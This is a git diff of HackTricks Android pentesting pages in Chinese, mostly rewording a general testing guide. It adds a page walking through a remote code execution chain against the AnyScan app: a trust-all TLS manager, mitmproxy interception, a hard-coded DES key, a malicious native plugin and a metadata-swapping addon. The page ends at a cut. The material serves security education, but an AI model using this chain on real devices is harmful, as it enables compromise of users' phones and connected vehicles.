diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 596676a81..2d79a9aa6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -334,6 +334,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index b72d107eb..fa065b1f7 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Android Applications Basics -强烈建议您开始阅读此页面,以了解与Android安全性和Android应用程序中最危险组件相关的**最重要部分**: +强烈建议您开始阅读此页面,以了解与Android安全性相关的**最重要部分和Android应用程序中最危险的组件**: {{#ref}} android-applications-basics.md @@ -13,21 +13,22 @@ android-applications-basics.md ## ADB (Android Debug Bridge) 这是您连接到Android设备(模拟或物理)的主要工具。\ -**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得可以**双向复制**文件,**安装**和**卸载**应用程序,**执行**shell命令,**备份**数据,**读取**日志等功能。 +**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。 查看以下[**ADB命令**](adb-commands.md)列表,以了解如何使用adb。 ## Smali -有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk,修改代码并重新编译可能会很有趣。\ -[**在本教程中**,您可以**学习如何反编译APK,修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析**期间作为**多项测试的替代方案**可能非常有用。然后,**始终记住这个可能性**。 +有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk、修改代码并重新编译可能会很有趣。\ +[**在本教程中**,您可以**学习如何反编译APK、修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这个可能性**。 ## Other interesting tricks -- [在Play Store中伪装您的位置](spoofing-your-location-in-play-store.md) -- [Shizuku特权API(基于ADB的非root特权访问)](shizuku-privileged-api.md) -- **下载APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- 从设备提取APK: +- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) +- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) +- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Extract APK from device: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -57,17 +58,17 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed **Firebase** -特别注意**firebase URL**,检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 应用程序的基本理解 - Manifest.xml, strings.xml -**检查应用程序的 _Manifest.xml_ 和 _strings.xml_ 文件可以揭示潜在的安全漏洞**。可以使用反编译器访问这些文件,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。 +**检查应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。 **从 _Manifest.xml_ 中识别的漏洞包括:** - **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。 -- **备份设置**:对于处理敏感信息的应用程序,应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。 -- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。 +- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。 +- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。 - **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。 - **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。 - **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。 @@ -77,7 +78,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Tapjacking -**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\ +**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\ 实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。 在这里找到更多信息: @@ -88,7 +89,7 @@ tapjacking.md ### 任务劫持 -一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。 +一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。 更多信息在: @@ -100,7 +101,7 @@ android-task-hijacking.md **内部存储** -在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式,以**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。 +在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。 1. **静态分析:** - **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。 @@ -115,7 +116,7 @@ android-task-hijacking.md - 外部存储上的文件是**全球可读和可写**的。这意味着任何应用程序或用户都可以访问这些文件。 2. **安全问题**: - 鉴于访问的便利性,建议**不要在外部存储上存储敏感信息**。 -- 外部存储可以被任何应用程序移除或访问,从而降低安全性。 +- 外部存储可以被任何应用程序移除或访问,使其安全性降低。 3. **处理来自外部存储的数据**: - 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。 - 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。 @@ -135,7 +136,7 @@ android-task-hijacking.md **接受所有证书** -出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配: +出于某种原因,有时开发者会接受所有证书,即使例如主机名与以下代码行不匹配: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -150,14 +151,14 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); **使用不安全和/或过时的算法** -开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用带盐的抗暴力破解**哈希**。 +开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希并加盐。 ### 其他检查 - 建议**混淆 APK**,以增加攻击者的反向工程难度。 -- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被root**并采取相应措施。 +- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。 - 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。 -- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**以确认是否被修改。 +- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。 - 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器 ### React Native 应用程序 @@ -178,7 +179,7 @@ react-native-application.md ### 超级打包应用程序 -根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。 +根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。 ### 自动化静态代码分析 @@ -231,14 +232,14 @@ content-protocol.md #### 使用模拟器 -- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需使用慢速的 arm 模拟器)。 +- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据[**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。 - 学习如何在此页面上设置: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_) - [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。 > [!TIP] @@ -248,11 +249,11 @@ avd-android-virtual-device.md ![](<../../images/image (277).png>) -此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。 +此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 并使用工具,这将非常有用)。 #### 使用物理设备 -您需要激活**调试**选项,如果您可以**root**它,那就更好了: +您需要激活**调试**选项,如果您能**root**它,那就更好了: 1. **设置**。 2. (从 Android 8.0 开始)选择**系统**。 @@ -260,8 +261,8 @@ avd-android-virtual-device.md 4. 按**构建号** 7 次。 5. 返回,您将找到**开发者选项**。 -> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\ -> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。 +> 一旦您安装了应用程序,您首先应该做的是尝试它并调查它的功能、工作原理,并与之熟悉。\ +> 我建议使用 MobSF 动态分析 + pidcat 执行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。 ### 意外数据泄露 @@ -281,16 +282,16 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴 如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。 -作为渗透测试者,**请尝试查看这些日志**。 +作为渗透测试者,**请查看这些日志**。 **发送给第三方的分析数据** -应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。 +应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。 ### SQLite 数据库 大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\ -数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases` +数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases` 如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。 @@ -304,11 +305,11 @@ Drozer 是一个有用的工具,可以**利用导出活动、导出服务和 ### 利用导出活动 [**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\ -还要记住,活动的代码从**`onCreate`** 方法开始。 +还要记住,活动的代码从**`onCreate`**方法开始。 **授权绕过** -当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。 +当活动被导出时,您可以从外部应用程序调用其屏幕。因此,如果导出一个包含**敏感信息**的活动,您可以**绕过**访问它的**身份验证**机制。 [**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities) @@ -319,46 +320,46 @@ Drozer 是一个有用的工具,可以**利用导出活动、导出服务和 ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**注意**:MobSF会将使用_**singleTask/singleInstance**_作为活动中的`android:launchMode`视为恶意,但由于[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API版本<21)中才是危险的。 +**注意**:MobSF 会将使用 _**singleTask/singleInstance**_ 作为 `android:launchMode` 的活动检测为恶意,但由于 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API 版本 < 21)中才是危险的。 > [!提示] > 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。 **敏感信息泄露** -**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用**`setResult`**方法并**返回敏感信息**,则存在敏感信息泄露。 +**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。 #### Tapjacking -如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。 +如果未防止 tapjacking,您可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。 ### 利用内容提供者 - 访问和操纵敏感信息 [**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\ -内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,您可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。 +内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,您可能能够 **提取敏感** 数据。测试可能的 **SQL 注入** 和 **路径遍历** 也很有趣,因为它们可能存在漏洞。 -[**了解如何使用Drozer利用内容提供者。**](drozer-tutorial/index.html#content-providers) +[**了解如何使用 Drozer 利用内容提供者。**](drozer-tutorial/index.html#content-providers) ### **利用服务** [**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\ -请记住,服务的操作始于方法`onStartCommand`。 +请记住,服务的操作始于方法 `onStartCommand`。 -服务基本上是可以**接收数据**、**处理**它并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该**检查**代码以了解它在做什么,并**动态**测试以提取机密信息、绕过身份验证措施...\ -[**了解如何使用Drozer利用服务。**](drozer-tutorial/index.html#services) +服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该 **检查** 代码以了解它在做什么,并 **动态测试** 以提取机密信息、绕过身份验证措施...\ +[**了解如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services) ### **利用广播接收器** [**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\ -请记住,广播接收器的操作始于方法`onReceive`。 +请记住,广播接收器的操作始于方法 `onReceive`。 广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\ -[**了解如何使用Drozer利用广播接收器。**](#exploiting-broadcast-receivers) +[**了解如何使用 Drozer 利用广播接收器。**](#exploiting-broadcast-receivers) -### **利用方案/深度链接** +### **利用方案 / 深度链接** -您可以手动查找深度链接,使用像MobSF这样的工具或像[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)这样的脚本。\ -您可以使用**adb**或**浏览器**打开声明的**方案**: +您可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\ +您可以使用 **adb** 或 **浏览器** 打开声明的 **方案**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -426,7 +427,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在 ### Frida -[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\ +[Frida](https://www.frida.re)是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\ **您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\ 如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。 @@ -434,11 +435,11 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在 - 一些与 Frida 相关的“GUI”操作:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re) -- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)) +- 尝试通过加载 Frida 来绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)) ### **内存转储 - Fridump** -检查应用程序是否在内存中存储不应存储的敏感信息,例如密码或助记符。 +检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。 使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存: ```bash @@ -471,13 +472,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。 +MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。 ### 使用 MobSF 进行辅助动态分析 @@ -573,8 +574,8 @@ receivers ``` **HTTP工具** -当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\ -为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到**代理**如Burp或Owasp ZAP。\ +要做到这一点,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。 @@ -592,7 +593,7 @@ receivers ### [Yaazhini](https://www.vegabird.com/yaazhini/) -这是一个**用于执行带GUI的静态分析的好工具** +这是一个**用于执行静态分析的优秀工具,带有GUI** ![](<../../images/image (741).png>) @@ -618,7 +619,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。 +SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。 所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员可以创建自己的规则来分析他们需要的内容。 @@ -699,7 +700,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应 ### [DeGuard](http://apk-deguard.com) -**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。** +**DeGuard 逆转了 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。** 您可以将混淆的 APK 上传到他们的平台。 @@ -709,11 +710,11 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应 ### [Simplify](https://github.com/CalebFenton/simplify) -它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。 +它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。 ### [APKiD](https://github.com/rednaga/APKiD) -APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。 +APKiD 提供有关 **APK 制作方式** 的信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。 ### 手动 diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md new file mode 100644 index 000000000..4808f84bf --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -0,0 +1,124 @@ +# 不安全的应用内更新机制 – 通过恶意插件进行远程代码执行 + +{{#include ../../banners/hacktricks-training.md}} + +许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。 + +本页面总结了在Xtool **AnyScan** 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用配置错误。 + +--- +## 1. 识别不安全的TLS TrustManager + +1. 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。 +2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该管理器盲目信任每个证书: +```java +public static TrustManager[] buildTrustManagers() { +return new TrustManager[]{ +new X509TrustManager() { +public void checkClientTrusted(X509Certificate[] chain, String authType) {} +public void checkServerTrusted(X509Certificate[] chain, String authType) {} +public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} +} +}; +} +``` +3. 如果存在,应用程序将接受 **任何 TLS 证书** → 你可以使用自签名证书运行一个透明的 **MITM 代理**: +```bash +mitmproxy -p 8080 -s addon.py # see §4 +iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator +``` +## 2. 反向工程更新元数据 + +在 AnyScan 的案例中,每次应用启动都会触发一个 HTTPS GET 请求到: +``` +https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx +``` +响应体是一个 **XML 文档**,其 `` 节点包含 **Base64 编码的,DES-ECB 加密的** JSON,描述每个可用插件。 + +典型的猎杀步骤: +1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复: +* 算法(DES / AES / RC4 …) +* 操作模式(ECB / CBC / GCM …) +* 硬编码的密钥 / IV(通常是常量中的 56 位 DES 密钥或 128 位 AES 密钥) +2. 在 Python 中重新实现该函数以解密 / 加密元数据: +```python +from Crypto.Cipher import DES +from base64 import b64decode, b64encode + +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan + +def decrypt_metadata(data_b64: str) -> bytes: +cipher = DES.new(KEY, DES.MODE_ECB) +return cipher.decrypt(b64decode(data_b64)) + +def encrypt_metadata(plaintext: bytes) -> str: +cipher = DES.new(KEY, DES.MODE_ECB) +return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() +``` +## 3. 制作恶意插件 + +1. 选择任何合法的插件 ZIP,并用你的有效载荷替换本地库: +```c +// libscan_x64.so – constructor runs as soon as the library is loaded +__attribute__((constructor)) +void init(void){ +__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); +// spawn reverse shell, drop file, etc. +} +``` + +```bash +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt +``` +2. 更新 JSON 元数据,使得 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。 +3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。 + +## 4. 使用 mitmproxy 发送有效负载 + +`addon.py` 示例,*静默* 交换原始元数据: +```python +from mitmproxy import http +MOD_XML = open("fake_metadata.xml", "rb").read() + +def request(flow: http.HTTPFlow): +if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: +flow.response = http.Response.make( +200, +MOD_XML, +{"Content-Type": "text/xml"} +) +``` +运行一个简单的网络服务器来托管恶意 ZIP: +```bash +python3 -m http.server 8000 --directory ./payloads +``` +当受害者启动应用程序时,它将: +* 通过MITM通道获取我们伪造的XML; +* 使用硬编码的DES密钥解密和解析它; +* 下载`PWNED.zip` → 在私有存储中解压; +* `dlopen()`包含的*libscan_x64.so*,立即以**应用程序的权限**执行我们的代码(相机、GPS、蓝牙、文件系统等)。 + +由于插件缓存于磁盘,后门**在重启后仍然存在**,并在用户每次选择相关功能时运行。 + +## 5. 后期利用想法 + +* 